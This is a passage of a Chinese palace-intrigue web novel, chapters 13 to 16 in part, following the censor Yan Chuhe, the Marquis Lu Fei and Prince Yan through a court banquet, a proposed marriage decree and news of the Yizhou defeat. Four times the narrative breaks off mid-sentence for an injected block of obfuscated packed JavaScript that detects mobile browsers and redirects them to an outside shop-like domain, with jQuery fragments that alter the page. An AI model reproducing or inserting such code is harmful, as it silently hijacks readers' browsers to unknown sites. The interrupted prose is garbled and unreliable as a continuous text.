说起来关于他相貌的流言几经转变,委实好笑。在前任武昌侯他爹死前,人们都说这路小侯爷纨绔狡诈——晏楚鹤觉得这样的描述更对味。这人行事手段同那个作风清高的爹完全相反!光是利用她处理饥荒的事,就已经妄谈仁义。
还有那些荒唐的政策,诸如,将牢里的罪人分派到各地当自卫兵,向民间借贷当军费,更有甚者,他居然上书要皇帝组个太监美男团送往吐蕃国,一箭双雕,以羞辱为主,万一能停战更是锦上添花——晏楚鹤看时倒吸了口凉气,这不是让人白白送死吗?!这家伙到底在想什么。
再说老皇帝,他果然什么都不懂,只关心自己的皇位,前朝的刺客,只爱看宫人受辱、百姓受罪。要不是她晏楚鹤顶在前头反对,其他大臣估计也不敢直接表态,这些荒唐的谏言才作罢。
偏偏这路斐也确实提出过可行的策略,在饥荒一事,他处理得确实不错。景安帝大概真的以为老武昌侯替他挡了前朝刺客,暂时还没厌烦路斐,由着他搅动朝堂。
而晏楚鹤,她暂且不能拿保守派的官员开刀,自然只好先对这路斐下手。路斐要她把注意力放在当朝贵族的开销上,改革吏治,那她就先审计他们武昌侯府。
结果是惊人的。看来这家伙先前在外地并非只知道享乐,背地里赚得盆满钵满——晏楚鹤在夜里侥幸发现武昌侯府一处隐蔽的货物交接,又顺藤摸瓜找到几笔可疑往来,与他们明面上的社交规模对不上。
证据还不够,武昌侯此人非常棘手,而且不知道为什么……
她总觉得他是冲着她来的。
晏楚鹤对他积怨已久。
——
恰好,此时此刻,宴席另一边,新上任的武昌侯,路斐也在找这位大名鼎鼎的铁腕楚御史。
一个女人居然混到这种程度。
他并不是瞧不起女人,前朝的谢将军,当今的刘贵妃,没有一个是简单角色。只是,在这个时代,女人总是比男人过得更不如意,受到的限制更多,更容易为人所利用而已。
宴上,景安帝突然提到王家有功,叫那楚御史雕个什么什么。是个人都听得出来,狗皇帝是在问她归属保守派还是主战派。那楚御史居然毫不避讳,当即变了脸色,义正言辞地讽刺当朝挟朋树党的歪风,又把满朝文武得罪了遍,只有景安帝笑得开心。
路斐的位子离得远,那女子又带了帷帽,他这般好眼力也什么都看不清楚,不过猜也猜到七八分,无非是一张寡淡木讷像他那个爹一样的脸,哦,外加自以为是替百姓施展正义、整日弄权的‘刚正’。
路斐心里自然是有气的。<
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16790769|190576||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
p>他不过是利用这楚御史两次,他利用的人多得很。偏偏只有这个人一直在朝廷上同他作对,屡次三番坏事。明明于她根本没什么妨害吧?而景安帝居然也容着这女人——路斐倒是听过她会玉雕,她师傅是惊艳洛阳城的世外高人,不久前刚被她气死了。
路斐对此不以为然,他随身带着的玉佩,可是他爹请来天下无双的匠人特意雕刻而成,岂是楚御史这种二十不到的黄毛丫头能碰瓷的。
这么想着,狗皇帝闲得蛋疼又搬出那尊月藏观音的佛像,路斐抱着挑刺的心态,正准备仔细打量——饶是他这般不信神佛的人也惊讶,这女人能活到现在,靠的不仅是讨好皇帝的口才,还有这样……冠世的手艺。
如果这佛像真是她雕的……或许,路斐飞快地反应过来,这个女人说不定真的能帮到他——他必须接近她。
酒过三巡,皇帝来了兴致,将皇后的老乳母指给失权的鳏夫作续弦,又凭酒劲将刚下狱的罪臣赦免……宴席还要持续很久,难得有间隙,不少人都离席更衣,注意到那楚御史离开,路斐忙停下与旁人应酬,悄悄跟了出去。
果然是谈重要的事情。
只见那楚御史在贵妃的丫鬟引导下同一对穿着华贵的主仆见面,路斐闭着眼都能猜到是谁。那楚御史行了个礼,腰都没弯下,那燕王就迫不及待回了个礼。
啧,真是好一个谦谦君子。
路斐斜倚在树上。他也是头一次见到燕王,这家伙明明是平民贵妃所生养的儿子,行事作风却是这般装模作样,难怪路斐他爹也夸过燕王。想到死去的父亲,路斐无端又冒出几分气焰,只好把注意力转回晏楚鹤身上。
也不知道这位楚御史会怎么想。
“楚御史,久仰大名。”
“燕王大人客气了。”
“我听母妃说你喜欢这些……”年轻的皇子说着就从宫人手里拿了给精美的礼盒。楚御史客气地接受了。
“多谢。事发突然,我想询问王爷……”
果然,他就说这人不简单。明明这两人在聊如此重要的事情。路斐却突然走神了,他想集中注意力去听这两人的对话,却始终集中不起来,满脑子都是其他的事情,
半年前,益州,洮阳城,
不会吧……
她会是半年前那个女子?!
13. 君王无所惜
从宴席出来后,晏楚鹤绕路到了处颇为隐蔽的亭子,四下无人,只有几个闲散宫人在打扫,倒也算适合谈话。
她将王大将军要出事的情况,晦涩地同面前这位皇子交代清楚,又试探性地问:“……不知燕王殿下对此可有想法?”
这燕王同他母亲刘贵妃一样,一双桃花眼生得极其好看,笑起来却是半眯着,再加上那头有些毛躁、黑里透棕的头发,显得整个人明朗无害,让人不由自主放下防备
真是很有感染力的笑容。晏楚鹤虽然不解他为何露出笑容,忍不住也笑着问道:“燕王殿下在笑什么?可是微臣说错了什么?”
“不,不是楚御史你的问题——楚御史你能和我想到一块,我真的很开心。”年轻的皇子顿了顿,似乎不觉得自己措辞有什么不妥,
“我可以叫你楚鹤吗?”
窦怀谦,还真是人如其名装得谦逊。晏楚鹤除了点头答应还能拒绝不成?她哪有那个权力。
“燕王殿下请便。”
窦怀谦起身,声音沉稳:“本王十五岁那年,母妃刚借着一场陷害复起,同我父王感情正盛。那时的王家可没法逼他做选择。是以,封地为幽州——是我自己选的。”
他显然料到了晏楚鹤此刻没怎么掩饰的惊讶神情,又笑了笑,眼里带着不容忽视的认真:
“幽州同契丹交界,环境艰险,我朝历来只知道重视西部边境那些前朝余孽,北地的将士们反而吃了不少亏,这些年失了好多土地。
代州、朔州、云州……
收复这些失地……我既为皇子,此生便当奉以为志。”
像是缓解气氛压抑一样,又或是被晏楚鹤发呆的目光盯毛躁了,他有些慌乱的转过身,敛眸又恢复那副笑容:“抱歉,自顾自说上头了,我并非在自吹自擂……这些年幽州的战役我多少都参与了——我身边燕北的儿郎可不输给王家人。”
他明明是笑着补充,却没有半点轻佻,自信又坦荡。
晏楚鹤不禁挑眉……刘霜清的血脉居然这般强势?面前这位皇子除了长相外,怎么一点老皇帝的影子都没有?
“楚姑娘觉得呢?”
晏楚鹤回过神,敷衍地低头答道:“殿下一定可以成功的。”
她终归是不放心,又就着西南战事略谈几点,惊觉对方确有实才,所论皆是有理有据。窦怀谦也微微讶然,这雕匠出身的女冠居然有这番见识,所预设的情况简直像是王大将军真的死了一样,不愧是世外高人的弟子!他母妃果然又没看错人!
只可惜现在不是谈话的好时机,这一年一次回京的机会实在宝贵,他要联络的世家官员可太多了,花了这么多时间在这个不知道什么时候会倒台的女官身上,已经远超预期,实属难得。
晏楚鹤也能感受到对方的重视。说起来,和刘贵妃的相遇……于她们双方都是件幸事。
片刻后,晏楚鹤正一个人走在回宴的路上,先前接引她的宫人刚刚遇上王皇后身边的太监,似乎是有急事。那位常在皇后身边的公公从前就看不惯她,如今更是,道:“我家娘娘说了,楚大人从前在宫里工作过,不用人带路,楚大人请便吧。”
晏楚鹤没空同他斗嘴。她当然记得回去的路,要绕过御湖——先前她就是靠着东苑湖的冰块雕了能讨景安帝开心的冰雕,才得了如今的官位。
按理说,如今严冬,这冰块应当越结越厚实。偏偏这些日子宫里做法事,非得请了好些个僧人道士表演火焰戏法,倒叫这冰湖化开了不少。
掉下去不是淹死也一定会冷死的……晏楚鹤盯着湖面,莫名头皮发麻,也不知道这大夏宫从建立到现在,到底害死了多少人。
当她停下后,那一阵稀疏的,隐秘的脚步声突然变得清晰可见。准确来说,晏楚鹤在先前和窦怀谦谈话时就有这种感
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16790770|190576||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
觉,她只当是贵妃的人。现在看来不是。
对方的来意并不难猜……既然如此,将计就计。
十米……五米……
越来越近了。
晏楚鹤有意往湖边靠了靠。
她装作不经意地向后方瞄了眼,同时飞快地出手——被那人躲开了。
“姑娘不要误会!我并非要害你的歹人。”来人一身锦袍被冬风掀起,眉目朗朗,既随性又凌厉,腰间挂着枚非凡的玉佩在寒夜下泛着冷光——此人正是路斐。
他先处理好了要搞事陷害晏楚鹤的小太监,正准备上演一场英雄救美的戏码,此刻正作出一副关心样:“我瞧见你险些要掉入湖里,这才出手相助,你不要紧吧?”
事实上,他把晏楚鹤早有准备的架势瞧得清清楚楚,只这点,他就很肯定,对方一定是半年前给他下药的那个村姑。
刚刚见过真正翩翩君子的晏楚鹤立刻发觉两人的不同,人家燕王所言句句发自肺腑,而这位‘好心人’则是在竭力地强调自己有多好心。
她又不吃这一套,便往后退了两步。谁叫那人一个打滑,“不小心”冲到她面前。
好一个“不小心”。
晏楚鹤脑子里关于此人的猜测也随着这个“不小心”烟消云散——她看得真真切切,这张消失在梦里,令她反复怀念的面孔……终于出现在眼前。
“居然是你——好久不见,你还好吗?”路斐就她的反应,迅速准备好演技和说辞,又装着关切的样子道。
“……好久不见,”没错,这家伙果然变得更加像她记忆中的样子。
好奇怪啊,明明只是看着这张脸——晏楚鹤半年来压得严严实实的情绪突然涌了上来——孤独、迷茫、委屈。反应过来的时候,不争气的泪水已经在发酸的眼眶里打转。晏楚鹤一时间什么礼教都不想了,只顾得拉住对方。
“别走。”
14. 浮世多艰捱
她没想到重逢会是这样。
路斐也没想到。
因为父亲的缘故,路斐同女性向来有多远隔多远。可此刻——晏楚鹤的指腹就搭在他手腕上,那层茧的触感清晰可见,路斐从没有被人这样亲昵、留恋地拉住过,险些又一次想要放弃计划直接逃走,偏偏晏楚鹤的样子有些……可怜。
年轻的女官凛冽的眉目不同以往,在黑夜里擒着泪光,清晰可见。路斐猛然意识到离对方太近,仓促地移开视线,强忍着发热的耳根继续自己的台词:“这、这个时间出现在这,你一定是楚御史吧?楚鹤,晏楚鹤……”
这家伙起假名的水平不行啊。路斐边观察着对方的反应边在心里胡乱吐槽,企图用这种方法缓解自己心里突然泛起的异样。
晏楚鹤不一样,她想也不想直接接续自己的问题:“至少——这回可以告诉我你的名字吗?”
……好问题。
路斐准备已久的坏心思被女子真诚的目光突然压住。他低下头铺垫,费了好些力气才装出悲痛难言,犹豫不决的样子:“在下正是在朝堂上与你屡屡起冲突的户部侍郎,武昌侯路斐。”
这让刚刚回过神的晏楚鹤又愣了愣,
他一直想利用她?是了,在洮阳城时他确实是这样的——但他也确实帮过她。算算半年前见面的时间年纪,倒还真和新任武昌侯吻合。
自己处心积虑要干掉的政敌居然是寻而不得的白月光……半年过去,他和梦里真是好不一样。
饶是晏楚鹤,一时间也难掩尴尬神色,只道:“抱歉,我不知道武昌侯是你。”
“你我是旧识,倒不用这么客气,先前我亦多有得罪,就当是扯平了。”
“旧识?”
“洮阳城一别,我尚且不是侯爷,姑娘也不是御史,你我自然是旧识。”
只是洮阳城吗?晏楚鹤垂下眼,
话堵在喉咙里。
你对我——真的只有在洮阳城的记忆?
可她过去在梦中所遇所学,分明是和眼前这人一起的……为什么只有她记得?
心口微沉,晏楚鹤生生把那份落寞压下去,随口道:“无论如何,还是我失礼了。武昌侯……怎么会在这?
路斐也真假掺半道:“今夜宴席实在太闷,我便也出来散心。偶然撞见几个小太监鬼鬼祟祟尾随在你身后,再加上前些日子宫里道士落水的案子,我便过来瞧瞧。
不了被他们发现,见我来就全跑了。可惜天色太晚,我腿上的伤还未痊愈——”
“不是侯爷的错。”晏楚鹤摇头,考虑到对方的伤势,有意放缓了脚步。
“楚御史对此可有头绪?”
“是谁要害我,实在难说。”
“此话怎讲?”
“我这个月对付的人实在太多,数都数不过来。”
“是,我们都不容易,敢问楚姑娘,我可否知道——方才宴会上,你的答案是?”
哦?问她的派系啊。路斐的爹是保守派,他自己很不明确。晏楚鹤觉得瞒着也没什么意义,按这人在朝堂上的作风,说不定已经跟了她一路,便直接道:“我是贵妃娘娘一手提拔的。”
看着对方对自己如此坦诚,路斐又怔住了。
她……怎么会这么信任他?就算他利用过她,这份信任也来得如此轻而易举?这个女人究竟是怎么当上御史的?
他装作若无其事地清了清嗓子,随即良心突然发作,随口提醒道:“你的目标有王家吧?他们在调查你——查到益州了。”
晏楚鹤瞳孔骤缩:“你是说——”
“放心,我不会把你的本名告诉给其他任何人的。”
益州。
楚御史自幼随师孤鹤大师在江南常住,从未踏足益州。
倒是有个姨父是县丞的晏家孤女,半年前从那里来到京都。
“你是说,王家已经知道——”
她的身世,她的仇恨。
路斐比了个噤声的手势,眼前这个年少成名的姑娘终于流露出一点符合这个年纪的恐慌,哪怕只有一点,也被他敏锐地捕捉到。
……他突然想到份新的剧本,便难得柔声道:“先不用说什么。我会和你一起调查的。该怎么说呢?”
他胡编着,语气却比自己预期还要真诚:“我也很讨厌王家
——再说,姑娘对我的用心,我能感受到。”
——
晏楚鹤只觉脑海一片混乱,各种思绪胡乱游动,回过神时,她已经回到宴厅。暖灯照人,却莫名有股寒意自高处来,晏楚鹤略整衣襟,神情旋即安定。
坐在上首,那位王家出身的皇后毫不掩饰地将目光放在她身上,带着自然而然的讶异。她放下酒盏,道:“我方才还同陛下担心楚御史是不是在宫里迷了路,这会儿倒是和路侯爷一同回来了,可是出了什么事。”
王皇后在明知故问。
晏楚鹤笑着,颇为恭敬地解释了两人恰好在路上相遇,不过是路侯爷腿脚不便,她便也走慢了些,路上遇到的宫人皆可作证。
“朕记得,你二人向来相看两厌,这些日子在朝上斗得天昏地暗,”景安帝醉眼朦胧,毫不克制地笑着,脸上的肥肉颤抖着,酒从中漏下,宫人们七手八脚地跪在地上擦拭着。他自然不在意,自顾自地说道:
“哎,年轻人就是要多相处才能明白——这“化干戈为玉帛”的道理嘞,哎呀,朕真想给你两也赐婚。”
赐婚赐上瘾的老皇帝随口说道,好像这事同送道小菜般简单。
晏楚鹤却是猝不及防,心念急转。嫁给路斐——于她而言,武昌侯论样貌、家世确实无可挑剔,如今更是凭借死去的爹成了皇帝眼前的红人。若是以她那外祖父的眼光看,绝对是满分人选。
而她对路斐的感情与真正的爱情相比,她想起方才相认时对方那双眼、桀骜、虚伪、让人感到熟稔……她并不讨厌他,总会为梦的事情不自觉包容他,但毫无疑问,她没有摸清他的底细。
一旦选择出阁,等同于将自己命运交给他人,她手上这点摸爬滚打好不容易拿到的权力肯定会被夺去。
为他人做嫁衣的事情,她又不蠢。
是以,晏楚鹤正要找个合适的借口推拒,坐在她对面,宗室那一列忽然有人起身
“父皇,”又是那位燕王,窦怀谦先以一揖肃然行礼,方抬眼道,“儿臣有一言。”
“你是——”景安帝眯着眼瞧去,皱着眉问道。他喜欢年轻的美人,却讨厌年轻的儿女。因此,
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16790771|190576||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
虽然他的儿女加起来不过十指之数,他也是认不全的。
“陛下,这是贵妃妹妹所出的五皇子。”王皇后抢先笑着答道,她正期待会有什么好戏上演。
景安帝听了她的话,恍然大悟似的拖长尾音,抬手揉了揉太阳穴,好看清楚窦怀谦的模样:“是谦儿啊,如今长得真高。”
那双浑浊的眼里流露的,可不是什么赞许之情。
“朕要赐婚,你又有什么意见?”
窦怀谦沉声道:“启禀父王,武昌侯年前丧父,孝期未满,允其参宴已经是很不对的了。况且连儿臣都曾听闻,两位大人素日政见多有龃龉,强令成婚,恐结怨侣。”
“是啊,朕倒是忘记这件事。”景安帝尚在酒中,却同平日里一样,一涉及权位相关的事,他那点残存的警觉又吊了上来。
“你远在幽州,是如何知道朝中近事的。”
年迈的帝王半阖着眼皮,苦涩沙哑的声音配上那张倏然敛去笑容,被药物拖得异色的脸,竟令这肥腻昏君的姿态多了几分威压,整个大殿为之一静。
晏楚鹤自然也是一惊。
这窦怀谦不一般啊,也不知道是傻还是真的好心,不过短短两句话就将景安帝的注意力从赐婚一事转移。
身为皇子,他竟然不知他父皇就喜欢看怨侣的乐子,更不知他父皇疑心极重,最忌讳儿子私联朝臣,染指朝政?被意外帮到的晏楚鹤回过味来,倒有些替这位颇为单纯的皇子担心了。
谁料窦怀谦不慌不乱,径直走向殿中央,从容道:“启禀父皇,儿臣于回京路上,见郊外百姓衣不蔽体,食不果腹,甚为可怜。闻已故路侯曾赐粮于民,儿臣便亦仿行一二。百姓皆跪地谢恩,称颂皇恩浩荡。与诸民交谈,儿臣收获颇多。
其间,灾民们议论纷纷,说法各异。路小侯爷欲赐田于民,楚御史要将灾民收禁,户部王尚书则欲拘役充军。儿臣因而知晓几位大人在政见上不合。”
“哦?郊外饥荒一事,你又当如何评说?”景安帝向后靠去便不再动,浑身上下只手指有一搭没一搭地摩梭着佛珠,目光直直扫向殿中。晏楚鹤在宫里待了半年,早已熟悉他的脾性,定是怒意暗生。
窦怀谦却是对此全然不知,微微垂目,沉声道:“儿臣以为,上月路小侯爷推行之策虽见成效,但今时不同往日。北地寒流突袭,粮食歉收,难民已聚于洛阳城外两月有余,人数日增,单靠某一法皆难奏效。
当务之急,应请诸位大人协力,勿相互阻挠,以安黎民。儿臣愿乞父皇垂令,增郊区吏员人数,以助政务……”
话未说完,景安帝的声音同佛珠绳链被摔断的声音一同响起。
“这就是你的高见?”
这老皇帝哪里在意窦怀谦的政见与善意,他只看到一个野心勃勃,企图插手政事的青年皇子。晏楚鹤一边看着,一边在心中暗自叹气:这五皇子果然还不如她明了景安帝的性情。
但,且看在他是刘霜清之子的份上,晏楚鹤思虑再三,还是起身解围道:
“陛下,微臣闻燕王殿下言辞,忽有所思,斗胆启奏。若诸位大人齐心协力,微臣自可出谋划策。
只是——有些贪心之辈,早已干尽歪事,总妄图独揽功劳,乱我大夏朝纲。”
15. 欲事安邦计
只是——有些贪心之辈,总妄图独揽功劳,乱我大夏朝纲。”
说话的女子比殿上多数人都要年轻,身量也不算高,偏偏腰背笔直,举止沉稳,声音清冷。
这样的身影,又有谁能想到,她其实是个凭着雕虫小技与巧言逢迎才攀上权力高位的小人物?乍一看,还以为是什么清高之辈,倒是和路斐从前讨厌的某个人极为相似。
路斐垂着眼眸不再去看,这女人显然和他父亲不同。她要聪明多了,从来将矛头对着大臣们,一句皇帝的不是都不说。
是的,顺着皇帝的心意,起承转合揪出那些惹人厌恶的大臣的错,让高傲的世家一个个手忙脚乱——这不仅是景安帝最爱看的,也是晏楚鹤屡试不爽的策略。
晏楚鹤没停顿多久,立刻接道:“陛下,微臣忍耐多时,苦于证据不足,时机未到……今日要状告之人,正是礼部尚书叶良翰。此人罪恶多端,拉帮结派,强抢民宅,与饥荒一事更是俨然把自己当成天子座下第一人……”
先前,她顾及此人和自己同为保守派成员,且资历深,品级高,是以没有机会像对付主战派的王家人一样摆在明面。
但今日不同,她的所作所为皆是铤而走险也要保全燕王——这位保守派未来的希望。
因此弃相保帅,用一个叶尚书换燕王的安稳,实乃不得已之举。晏楚鹤压下心底的窃喜,咬咬牙装作一副决绝的样子。保守派的同僚一定会体量她,甚至感激于她。
不仅如此,保守派的人早在她加入前就被主战派削得七零八落,现如今,中书令武昌侯被贬身死,礼部尚书被她打得措手不及。而她晏楚鹤自己则是于年前刚刚升了正五品御史中丞,今夜又是豁出性命保全燕王。这样算来,自明日起,保守派内称得上得势的,也只有她晏楚鹤了。
而在景安帝眼里,她同样能摘去拉帮结派的嫌疑。毕竟她先前动过王家在的主战派的那些小鱼小虾动过手,也对保守派的大柱子礼部尚书开刀。皇帝最喜欢用这种墙头草两边都不倒的人。
她莫不是天才吧,居然在这么短的时间内想出这样一举多得、滴水不漏的点子。晏楚鹤心底愈发得意,面上确实恭敬地等待景安帝的反应。
同她预设的一般,礼部尚书叶良翰被她打得措手不及,说出口的辩解断断续续。老皇帝的怒意也在贵妃说了几句话后一并转了去。叶家算是走到头了。
殿中气氛一度沉寂,好在血污很快被清洗干净,乐器礼器也复归原位,新一批宫人们颤颤巍巍地走上前,又一曲笙歌徐徐扬起,欢声笑语重新响起……这样的情况在大夏宫里发生过太多次了,让人心寒的热闹一直笼罩着天子座下的众人,直到宴会结束。
晏楚鹤在离开前,应邀去了趟刘霜清的宫殿小坐叙旧。
久别月余,刘霜清的宫殿繁华依旧,廊下铜炉里焚着上进贡的香料,不合时令的花卉随处可见,暖意与香气交织成一片静好的奢华。刘霜清在她离开后依旧得势,作为保守派在宫内的象征,她的地位并没有动摇。
只是——晏楚鹤粗略扫去,满宫的宫人同一个月前比少了七八,还来了不少生面孔,今夜更是多了一对老夫妇。那妇人矜重的盘髻,白发间簪着沉甸甸的金步摇,男子则穿着披时髦的比甲,亦是商贾打扮。
这两人虽然年事已高,眉眼间却皆有刘霜清,窦怀谦母子的影子。想来是刘霜清那双如今做了皇商的父母了。
刘霜清从软榻上亲自起身迎她,目光温婉,话里却藏着深意:“本宫在朝中能信的只有楚大人,能留在宫里同本宫说话的也只有身为女子的楚大人你。今夜叶尚书的事本宫全看在眼里,为了保全我儿,楚御史无需自责。”
碍于这对老夫妻在场,晏楚鹤也不像过去一样,只得客气地行礼:“多谢贵妃娘娘体谅。”
“……楚御史觉得,我儿怀谦如何?”
仪表堂堂,光明磊落,关爱百姓,为人谦逊,虽说方才在宴上的表现让人着急,但他要收复北地的志向不似作假,对她……还不坏。
“燕王殿下同娘娘一样,品行端正,胸怀社稷,自然是极好的。”
晏楚鹤看见对方眼里一闪而过的失望——她对刘霜清也很熟悉,记得住对方各种神情……是她夸得不够好?她已经很客气了呀。
刘霜清也不掩饰,轻叹道:“我原以为你们年纪相仿,又都未婚嫁,我儿样貌也算过得去,应当能被你瞧上才是。”
饶是晏楚鹤,这会儿也愣了下,不是吧?难怪她和老皇帝是夫妇,一个两个都要上赶着给她赐婚。
感情这玩意就是不能强求啊。她和这燕王才刚见过两面,出身更是差得十万八千里,就算他现在表现的品行不错,鬼知道以后会是什么样子。
……归根到底,刘贵妃应该也只是看到她如今混得风生水起,想利用婚姻把她绑在自己儿子身边吧?晏楚鹤勉强能理解,她正斟酌着措辞,又有人替她先开口。
“贵妃娘娘想必是说些玩笑话吧?燕王殿下出身高贵,婚事自然要多作考虑。”说话的是贵妃刘霜清的父亲,他因为着女儿才成为皇商,先前同孤鹤堂还有交易嘞,现在却是一副很瞧不起晏楚鹤的样子。
“是了,民妇听闻从前太子娶妃,哪怕是良娣也要一而再再而三地小心挑选,非得是世家出生,最是端庄娴淑,方能教导子女。想来燕王殿下的婚事也不能随意。还请娘娘三思。”
看着这对老夫妻那副如临大敌,视她晏楚鹤同洪水猛兽的样子。晏楚鹤也很无语。
拜托,一个皇帝都记不住名字的皇子,就别来和她这种正儿八经的五品宠臣碰瓷。
又是不等她开口,刘霜清面色不善,皱着眉道:“兹事体大,本宫自有主意,楚御史是圣上看重的良才,还请您二位为方才的话向她道歉。”
那两位老人颇为不解,但毕竟自己的女儿已经是贵妃,正要不情不愿地开口,又被晏楚鹤打断。
她微微侧着脑袋,勾着唇轻叹道:“无妨,下官的师父前不久仙逝,身上尚有孝期,家教确实不甚齐备,幸得权势与财富相伴,尚能宽慰孤身,便不劳二位费心了”
——
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16798109|190576||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
调查今夜要推她下河的小太监是谁派的有些难。宫里眼线太多,景安帝的人还算好对付,可其他世家权贵的势力纠缠不清,查来查去意义也不大。
路斐送到她府上的那封信倒是观点新奇——这位武昌侯认为,想要害她的未必就只有王家。刘霜清在宫中同样也有权有势,她也可能为了加剧晏楚鹤和王家的嫌隙,故意使她落水,再安排亲信救援。只要再在女子的名节上闹点风声,晏楚鹤手上那点权力自然会流向贵妃想要流向的人手上。
晏楚鹤盯着这封信,百感交集。
与其说是刘霜清要挑拨离间她和王家,倒不如说这路斐更像是在挑拨离间。
如他所说,用落水威逼女子名节的手段,人人都可以用,人人都有用的理由。唯独她梦里认识的那个路斐——她梦里的神仙哥哥在讲“男女授受不亲”的礼义时,还提到“嫂溺援手”的例子,即救人时要学会从礼义中变通。
因此,路斐如今的这封信,倒叫她意外。他也和她一样,在这样的现实中不再相信儒教了?而且……
他好像真的只是在关心她。毕竟他不如她了解刘霜清,才会有这样的判断吧。
夜深,晏楚鹤没有入睡的打算。算算时间,应该就是这几日。
从前孤鹤堂的匠人们被打发干净,那些干活利落的由她亲自帮忙找了各种各样的差事——这些人如今散落在京城里外各地,是她的眼线。
她果然第一时间知道了前线的消息。
王大将军鏖战三日三夜,兵少粮尽,却仍逼退敌军多次。可恨吐蕃人狡诈,先是佯退诱击,又是暗地联络益州内的奸细,以至于如今更传来急报,益州全城叛变,守军城门被反锁,王将军孤军被困,自刎殉国。
情节,辞藻,被夸张扭曲的事实。
晏楚鹤将信纸捏紧扔进火堆,一字一字慢慢品味,眼底浮起难掩的阴霾。
满纸的谎言。
她太清楚真正发生过什么。
姓王的家伙傲慢至极,在吐蕃故意作出主力撤回的假象时,为了抢功主动出击,不等援军到来便离开山城,被引进河谷平地,路上被伏兵截切成好几段。到最后关头,他更是只顾自己逃命,妄想突围失败,无可奈何才选择自刎。
至于所谓益州蓄谋已久的叛变,也不过是各城守将震恐,不敢抵抗,相继投降、弃城。因传令、粮道都被断绝,百姓也惶恐四散,民心崩溃。
易守难攻的益州,就这样失陷了。
晏楚鹤将桌上小姨寄来的两封信一同送入火堆。这上面的细节和她梦里见到的一一对应,还原出王家战败的原貌。
这才是真相。
只是到了京城,一场因为主将自大的战败,却轻易被粉饰成“将军何等英勇、敌人何等阴险”的文章。
晏楚鹤在发生之前就清楚这一切,只是无从下手。
她也绝不能插手。
唯有按梦中那样展开,姓王的才能战死,王家才能从镇西军中消失。
如今,终于轮到她出场了。
16. 轻骑越秦塞
次日一早,晏楚鹤便装作十分悲痛,将亲手雕的石雕送去王府。那死去的王将军的石像身姿魁伟,纵使倒地也气势斐然,让人敬佩。王家人知道晏楚鹤又在捣鬼,看着自然来气,却又不能因此对她动手,只好硬着头皮回礼表示感谢。
王家虽说还有不少钱财,但确实已经是强弩之末。这其中,多亏了晏楚鹤过去针对王家做的手脚,不然王家没法子倒得这样快。
宫宴上还光彩照人的王皇后如今一病不起,王家身边的拥簇也亦稀数散尽。
就算拿谎言和美名粉饰,也无法掩盖益州丢失后的损失。益州是为天险,土地丰沃富庶,是大夏国的粮仓与税收大区。一经丢失,国家财政已成问题。
而大夏的对手,现在的吐蕃。它既有狡猾的奸计,又有知晓大夏所有事情的叛将、极其富裕的粮仓、庞大的土地以及大夏的子民。
是以,如今满朝文武,无人敢接下这个差事。王大将军那般经验丰富的武将世家都已折戟沉沙,旁人更没什么自信。
晏楚鹤还记得,梦里去接替王将军的是和王家交好的某个小官,如今早已被她抓到错处抄家,眼下不知道投胎到哪了。主战派突然失去领头羊,还在分权中,谁也不愿意领这烂摊子。
晏楚鹤便同刘霜清再三确认,无要她多言,贵妃母子便同老皇帝毛遂自荐,揽下这棘手事。
刘霜清只当是富贵险中求,渗透大夏军权的机会来之不易,不可错失。晏楚鹤却对此事踌躇满志,关乎社稷,是救百姓于水火,她有梦中记忆,自认为有几分把握,主动请缨。
老皇帝不把外贼当回事,只想着监视儿子,裙撑又无人敢去,当即叫晏楚鹤称心如意,领了监军、巡察军纪的差事。
只是,大夏才失了益州、士气低迷,景安帝说是担心其他藩镇趁机造反,其实只是想要提防自己儿子拥兵自重,故而不敢一次倾巢而出,只派了三万临时征召的士兵,还是于陕州,襄州一一集结。
因此,如今出发的倒是没几个人,只有个“定蜀安邦军”的名号,再加上燕王“平蛮征西都统”的称号,倒也造成了声势浩大的假象。
不过是为了向天下人展示,朝堂没有放弃益州罢了。
益州,成都,她的家乡。
晏楚鹤打定主意,此行不单是要查查王家在益州做了什么,还非得去抹掉她自己的痕迹不可。
在那之前,她要亲手扭转战争。
——
